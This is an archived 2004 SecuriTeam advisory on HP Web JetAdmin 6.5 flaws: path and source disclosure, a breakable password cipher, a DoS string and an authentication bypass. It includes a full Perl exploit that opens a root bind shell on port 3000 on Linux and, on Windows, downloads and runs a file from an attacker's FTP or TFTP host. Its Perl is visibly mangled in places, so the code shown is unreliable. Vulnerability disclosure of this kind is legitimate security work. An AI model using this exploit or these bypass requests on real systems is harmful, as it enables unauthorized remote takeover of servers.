

[NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryption)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-04/0106.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/28/04

To: list@securiteam.com

Date: 28 Apr 2004 13:09:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryption)

SUMMARY

HP Web JetAdmin is an enterprise management system for large amounts of HP printers, print servers and their respective print queues. The service provides a web interface for administration, by default listening on port 8000. The web server (HP-Web-Server-3.00.1696) is a modular service supporting plugins and using .hts and .inc files for creation of active content.

Multiple vulnerabilities exist in the product. A short summary is outlined below:

- Source disclosure of HTS and INC files
- Real path disclosure of critical files
- Critical files accessible through web server
- User and Administrator password disclosure and decryption
- User and Administrator password replay
- Root/Administrator password disclosure
- Denial of Service of the server due to input validation failure
- Authentication circumvention on all functions

Securiteam: [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryption)

- Direct access to methods of the server core and the plugins via the HTTP Protocol
- Input validation failure for strings written to files
- Root/Administrator compromise due to all of the above
- Hidden games (easter egg) in the application

DETAILS

Vulnerable Systems:

- * HP Web JetAdmin version 6.5 on any platform

Partially Vulnerable Systems:

- * HP Web JetAdmin version 7.0 on any platform
- * HP Web JetAdmin version 6.2 and prior on any platform

Source disclosure of HTS and INC files:

The web server will disclose the contents of the scripts, if a dot (.) is added to the end of the request URL.

Example:

http://server:8000/plugins/hpjwja/script/devices_list.hts.

Real path disclosure of critical files:

Any page that is generated by the .HTS scripts will include a HTML comment line with the location of the file framework.ini, which holds several critical entries.

Example:

```
<!-- framework.ini F:\Program Files\HP Web  
JetAdmin\doc\plugins\framework\framework.ini -->
```

Critical files accessible through web server:

The file framework.ini is located inside the web root directory. Any unauthenticated user can access it. This file contains the encrypted (see below) passwords for all users, permissions for the respective users and other valuable information.

Example:

<http://server:8000/plugins/framework/framework.ini>

User and Administrator password disclosure and decryption:

HP Web JetAdmin uses its own encryption. Passwords will be encrypted on client side before send to the server using a Java applet. The encryption is easily broken and reversible. An encrypted username or password is transmitted and stored in the ASCII representation of hexadecimal numbers. Such a cipher text looks like 6a206d14000a7c2bc3cd3358153cffb5. This string has three elements:

- 6a206d14 is the initialization vector for the algorithm
- 000a is the length of the encrypted data (and double the length of the clear text)

[NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryption)

– 7c2bc3cd3358153cffb5 is the actual encrypted data

Initializing a random number generator with the IV supplied in the string and performing an XOR operation with the encrypted data and the upper 8 bits of the subsequently calculated random numbers perform encryption and decryption. The following pseudo-code will be run:

```
long v = IV;
for(int i=0;i<strlen(code);i++){
    v = 31413L * v + 13849L & -1L;
    code[i]=code[i]^(char)(v >> 24);
}
```

As the result, the clear text will be in code[] as two-byte characters.

User and Administrator password replay:

Because of the static nature of the encryption broken in point 4, an attacker can use password strings sniffed off the network and use them in self-made HTTP requests to the service. This is commonly referred to as replay attack.

Root/Administrator password disclosure:

When using services the host system provides only to administrative users (Administrator on Windows, root on UNIX), the web interface will require the user to enter the account data for this account. The entered username, password and (for Windows) the domain name are encrypted with the algorithm discussed in 4. Therefore, an attacker can sniff the strings off the network and decrypt the account information.

Denial of Service of the server due to input validation failure:

By modifying the "encrypted" string, an attacker can cause the service to lock up. As discussed in point 4, the second element in the string represents the length of the encrypted data. By replacing it with 0xFFFF, the decryption function loops through the string until the index reaches -1, which never happens during tests and resulted in a completely frozen service.

Example:

01010101FFFF020202020202020202.

Authentication circumvention on all functions:

Access to the functionality of Web JetAdmin is usually done via HTTP POST requests. One of the variables always present is "obj". A typical request contains:

```
obj=Framework:CheckPassword;Httpd:SetProfile(Profiles_Admin,password,$_pwd,$__framework_ini)
```

By leaving out the element "Framework:CheckPassword;", HP Web JetAdmin will no longer validate the supplied password and immediately grant access to the function specified. Example:

```
obj=Httpd:SetProfile(Profiles_Admin,password,$_pwd,$__framework_ini)
```

Direct access to methods of the server core and the plugins via the HTTP Protocol:

The "obj" variable discussed in 8 is actually used to call functions in the server core or any plugin. The server core and the plugins export functions to be used via HTTP. Therefore, an attacker can craft HTTP POST requests to use internal functions. Additionally, use of variables and grouping of function calls are possible. One can actually write little programs and submit them to the server for execution. Most of the functions deal with internal data structures and files of HP Web JetAdmin.

Example:

See Authentication circumvention on all functions.

Input validation failure for strings written to files:

HP Web JetAdmin uses a file called "cache.ini" outside of the web root. This file will contain session settings for a specific session. The session is identified by a variable called __BrowserID submitted in every HTTP request of the session. The format of cache.ini is:

```
---SNIP---
[1234]
Variable=Value
NextVariable=NextValue

[5678]
..
---SNIP---
```

Where 1234 and 5678 are the browser ID values. An attacker can influence the Variable=Value pairs through the call interface described in 9. By calling `obj=Httpd:VarCacheSet(FX,MemberOfPhenoelit)&__BrowserID=0` the following cache entry is created:

```
[0]
FX=MemberOfPhenoelit
```

It is also possible to inject multiple lines at the beginning of the file by including HTTP encoded linefeed characters in the __BrowserID variable: `&__BrowserID=%0aTest%20123%0a`

Will create the following entry:

```
[
Test 123
]
```

Root/Administrator compromise due to all of the above:

The Httpd core supports an exported function called "ExecuteFile". This function takes two or more parameters. The first one is the path where the file is located (leave blank for use of \$PATH or %PATH%) and the second is the executable itself. Combined with the ability to write arbitrary content to a file in a known location (see Input validation failure for

Securiteam: [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryp

strings written to files, location known due to Real path disclosure of critical files), an attacker can easily start a program of his choice. Since the service usually runs as root on UNIX or as SYSTEM on Windows, this gives full remote access to the server.

Example:

See example section below

Hidden games (Easter egg) in the application:

The security issues described above are not the result of a lack of time in the development department. This is proven by the fact that HP Web Jetadmin is delivered including two games. A text based adventure game is available on the URI:

```
/plugins/hpjwtja/script/special.hts?waycool=notyou
```

The HTS file special2.hts features a hangman game and a list of developers.

Hint: When playing the text adventure, throw the cat toy around to keep the bad kitty busy.

Exploit:

The root/SYSTEM exploit for 6.5 (NOT 7.0) can be found at:

```
#!/usr/bin/perl
use IO::Socket;
#
# This is an exploit for HP Web JetAdmin, the printer management server
from HP.
# It is NOT about printers! The service usually runs on port 8000 on
Windows,
# Solaris or Linux boxes.
#
# Greetz: The Phenoelit People, c-base crew, EEyE (rock!), Halvar on the
other
# side of the planet, Johnny, Andreas, Lisa, H D Moore, Nicolas
# Fishbach and all the others I forgot
#

$|=1;

die "Specify server name or IP\n" unless ($host=shift);

#
# lala stuff
#
print "Phenoelit HP Web JetAdmin 6.5 remote\n".
" Linux root and Windows NT/2000 Administrator exploit\n".
" by FX of Phenoelit\n".
" Research done at BlackHat Singapore 2002\n\n";
```

Securiteam: [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryp

```
#
# Check version for the kiddies
#
$request="GET /plugins/hpjwja/help/about.hts HTTP/1.0\r\n\r\n";
&doit();
#
# Get the path first
#
$rs=~/--\ framework\.ini\ (.+)-->;
$hppath=$1;
if ($hppath) { $hppath=~s/\doc/plugins/framework/framework.ini//; }
#
# Now get some more info
#
$rs=~s/[r\n\t]//g;
$rs=~s/</td><td\ valign=\\"top\\" nowrap>//g;
$rs=~s~/JetAdmin\ Version<\b>([<]+)</td>/;
$version=$1;
$rs=~s~/System\ Version<\b>([<]+)</td>/;
$system=$1;
die "It's not version 6.5 or version extraction failed\n" unless
($version=~6.5/);
die "Could not extract path\n" unless ($hppath);
#
# Info 2 user
#
print "HP Web JetAdmin Path: \n\t".$hppath."\n";
print "HP Web JetAdmin Version: ".$version."\n";

if ($system=~Linux/) {
  printf "Host system identified as Linux ... \n";
  #
  # Create file content and kick off inetd
  #
  $cont=
  "obj=Httpd:VarCacheSet(hacked,true);".
  "Httpd:ExecuteFile(/usr/sbin/inetd, ".$hppath."/cache.ini)".

  "&__BrowserID=0%0a3000%20stream%20tcp%20nowait%20root%20/bin/bash%20bash%0a";

  $request = "POST /plugins/framework/script/content.hts HTTP/1.0\r\n".
  "Host: ".$host."\r\n".
  "Accept: text/html, text/plain, application/pdf, image/*, ".
  "image/jpeg, text/sgml, video/mpeg, image/jpeg, ".
  "image/tiff, image/x-rgb, image/png, image/x-xbitmap, ".
  " image/x-xbm, image/gif, application/postscript, */*;q=0.01\r\n".
  "Accept-Language: en\r\n".
  "Pragma: no-cache\r\n".
  "Cache-Control: no-cache\r\n".
  "User-Agent: Phenoelit script\r\n".
  "Referer: http://www.phenoelit.de\r\n".
```

[NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryp

```

"Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".length($cont)." \r\n\r\n".
$cont;

&doit();
print "You should now connect to $host:3000 and enjoy your root shell\n";

} elseif ($system=~^WinNT/) {

print "Target system is Windows.\n".
" Do you want file upload via FTP [f] or TFTP [t]: ";
$usersel=<STDIN>;
if ($usersel=~^f/i) {
print "FTP used ...\n";
print "FTP Host: "; $ftph=<STDIN>; chomp($ftph);
print "FTP User: "; $ftpu=<STDIN>; chomp($ftpu);
print "FTP Pass: "; $ftpp=<STDIN>; chomp($ftpp);
print "FTP Path: "; $ftppath=<STDIN>; chomp($ftppath);
print "FTP File: "; $ftpfile=<STDIN>; chomp($ftpfile);

print "File ".$ftpfile." will be downloaded from ".$ftph.$ftppath."\n".
" with username ".$ftpu." and password ".$ftpp."\n";

$cont=
"obj="
"Httpd:ExecuteFile(cmd.exe,/c,echo,open ".$ftph.",>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo, ".$ftpu.">>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo, ".$ftpp.">>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo,lcd c:\\,>>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo,cd ".$ftppath.",>>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo,bin,>>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo,get ".$ftpfile.",>>c:\\x.txt);".
"Httpd:ExecuteFile(cmd.exe,/c,echo,quit,>>c:\\x.txt);".
"Httpd:ExecuteFile(ftp.exe,-s:c:\\x.txt);".
"Httpd:ExecuteFile(c:\\, ".$ftpfile.)";

} elseif ($usersel=~^t/) {
print "TFTP used ...\n";
print "TFTP Host: "; $ftph=<STDIN>; chomp($ftph);
print "TFTP Path: "; $ftppath=<STDIN>; chomp($ftppath);
print "TFTP File: "; $ftpfile=<STDIN>; chomp($ftpfile);

$ftppath.="/" unless ($ftppath=~^/$/);
$cont=
"obj="
"Httpd:ExecuteFile(tftp.exe,-i, ".$ftph.",GET, ".
$ftppath.$ftpfile.",c:\\ ".$ftpfile.)";
"Httpd:ExecuteFile(c:\\, ".$ftpfile.)";

} else {
print "Wurstfinger ?\n";

```

```
exit 0;
}
```

```
$request = "POST /plugins/framework/script/content.hts HTTP/1.0\r\n".
"Host: ".$host."\r\n".
"Accept: text/html, text/plain, application/pdf, image/*, ".
"image/jpeg, text/sgml, video/mpeg, image/jpeg, ".
"image/tiff, image/x-rgb, image/png, image/x-xbitmap, ".
" image/x-xbm, image/gif, application/postscript, */*;q=0.01\r\n".
"Accept-Language: en\r\n".
"Pragma: no-cache\r\n".
"Cache-Control: no-cache\r\n".
"User-Agent: Phenoelit script\r\n".
"Referer: http://www.phenoelit.de/\r\n".
"Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".length($cont)."\r\n\r\n".
$cont;
```

```
print "If everything works well, the specified file should be running\n".
" soon in SYSTEM context. Don't stop this script until your program\n".
" terminates. Enjoy the box.\n";
&doit();
```

```
} else {
print "Host OS (".$system.") not supported by exploit – modify it\n";
}
```

```
exit 0;
```

```
sub doit {
    $remote =
```

```
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>"8000");
    die "cannot connect to http daemon on $host\n" unless($remote);
    $remote->autoflush(1);
    print $remote $request;
```

```
    $rs="";
    while ( $rline=<$remote> ) {
    $rs=$rline;
    #print $rline;
    }
}
```

```
close $remote;
}
```

Vendor Communication:

10/28/02 – Initial Notification, security-alert@hp.com

From there on, communication went back and forth, while the major version went up and only a subset of the bugs was fixed.

Securiteam: [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password Decryp

ADDITIONAL INFORMATION

The information has been provided by <mailto:fx@phenoelit.de> FX of Phenoelit.

The original article can be found at:

<http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt>

http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.